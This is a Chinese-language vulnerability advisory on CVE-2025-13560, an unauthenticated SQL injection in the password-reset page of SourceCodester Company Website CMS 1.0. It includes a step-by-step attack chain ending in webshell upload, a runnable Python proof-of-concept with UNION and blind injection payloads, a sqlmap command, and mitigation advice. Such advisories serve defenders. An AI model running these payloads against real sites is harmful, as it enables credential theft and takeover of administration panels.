IPBUF安全漏洞报告
English
CVE-2025-13560 CVSS 7.3 高危

CVE-2025-13560 SourceCodester Company Website CMS SQL注入漏洞

披露日期: 2025-11-23

漏洞信息

漏洞编号
CVE-2025-13560
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Company Website CMS 1.0

相关标签

SQL注入SourceCodesterCompany Website CMSCVE-2025-13560密码重置管理后台认证绕过高危漏洞

漏洞概述

CVE-2025-13560是SourceCodester Company Website CMS 1.0版本中的一个高危SQL注入漏洞。该漏洞存在于管理后台的密码重置功能中,具体位于/admin/reset-password.php文件。攻击者可以通过构造恶意的email参数值,利用SQL注入漏洞获取数据库中的敏感信息,包括用户凭据、配置文件数据等。该漏洞无需任何认证即可被利用,攻击者可远程发起攻击,无需用户交互。由于该漏洞的利用代码已公开,攻击门槛较低,对使用该CMS系统的企业造成严重安全威胁。CVSS评分7.3分,属于高危漏洞,机密性、完整性和可用性均受到低至中等程度的影响。建议受影响用户立即采取修复措施,防止恶意利用。

技术细节

该SQL注入漏洞位于SourceCodester Company Website CMS的/admin/reset-password.php文件中的email参数。攻击者可以通过在email参数中注入恶意的SQL语句来绕过正常的业务逻辑。由于应用程序未对用户输入进行充分的过滤和参数化查询,攻击者可以构造如下的SQLpayload来执行任意SQL命令。典型的注入手法包括使用UNION SELECT语句提取数据库信息,或者使用布尔型盲注、时间盲注等技术获取敏感数据。攻击者可能利用此漏洞获取管理员账户密码哈希,进而获得后台管理权限。在某些配置下,攻击者甚至可能通过OUTFILE或INTO DUMPFILE等语句写入恶意文件,实现远程代码执行。漏洞的利用需要攻击者具备基本的HTTP请求知识,可通过Burp Suite等工具手动构造恶意请求或使用sqlmap等自动化工具进行利用。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用的CMS系统,确认是否为SourceCodester Company Website CMS 1.0版本
STEP 2
步骤2: 定位漏洞点
访问/admin/reset-password.php页面,识别email参数输入点
STEP 3
步骤3: 构造恶意请求
在email参数中构造SQL注入payload,如使用UNION SELECT或布尔盲注技术
STEP 4
步骤4: 提取数据库信息
利用SQL注入获取数据库版本、表名、字段名等敏感信息
STEP 5
步骤5: 获取管理员凭据
通过注入查询获取管理员用户的用户名和密码哈希值
STEP 6
步骤6: 密码破解与后台登录
破解密码哈希或利用其他方式登录管理后台
STEP 7
步骤7: 进一步渗透
在获得后台权限后,上传webshell或执行其他恶意操作实现远程代码执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-13560 SQL Injection PoC # Target: SourceCodester Company Website CMS 1.0 # Vulnerability: SQL Injection in /admin/reset-password.php email parameter import requests import sys def exploit_sqli(target_url, payload): """Send SQL injection payload to reset-password.php""" target = target_url.rstrip('/') + '/admin/reset-password.php' data = { 'email': payload, 'submit': 'Submit' } try: response = requests.post(target, data=data, timeout=10) return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def test_basic_sqli(target_url): """Test basic SQL injection""" print(f"[*] Testing basic SQL injection on {target_url}") # Basic error-based injection payload = "[email protected]' OR 1=1-- -" resp = exploit_sqli(target_url, payload) if resp: print(f"[*] Response status: {resp.status_code}") print(f"[*] Response length: {len(resp.text)}") def extract_db_info(target_url): """Extract database information using UNION-based injection""" print(f"[*] Extracting database information...") # Extract current database name payload = "[email protected]' UNION SELECT NULL,NULL,database(),NULL,NULL-- -" # Adjust based on actual application response resp = exploit_sqli(target_url, payload) if resp: print(f"[*] Database info extraction attempted") def blind_sqli(target_url): """Boolean-based blind SQL injection""" print(f"[*] Testing blind SQL injection...") # Test if injection works true_payload = "[email protected]' AND 1=1-- -" false_payload = "[email protected]' AND 1=2-- -" resp_true = exploit_sqli(target_url, true_payload) resp_false = exploit_sqli(target_url, false_payload) if resp_true and resp_false: if len(resp_true.text) != len(resp_false.text): print("[+] Blind SQL injection confirmed!") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <target_url>") print(f"Example: python3 {sys.argv[0]} http://target.com") sys.exit(1) target = sys.argv[1] print(f"[*] CVE-2025-13560 SQL Injection PoC") print(f"[*] Target: {target}") test_basic_sqli(target) extract_db_info(target) blind_sqli(target) print("[*] For full exploitation, use sqlmap:") print(f"sqlmap -u '{target}/admin/reset-password.php' --data='email=*&submit=Submit' --dbs")

影响范围

SourceCodester Company Website CMS 1.0

防御指南

临时缓解措施
立即限制对/admin/reset-password.php页面的访问,仅允许受信任的IP地址访问该功能。同时,在Web应用层添加输入验证逻辑,对email参数进行严格的格式校验和特殊字符过滤。建议临时禁用密码重置功能,直到完成安全修复。可考虑部署ModSecurity等WAF规则来检测和阻断SQL注入攻击特征。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表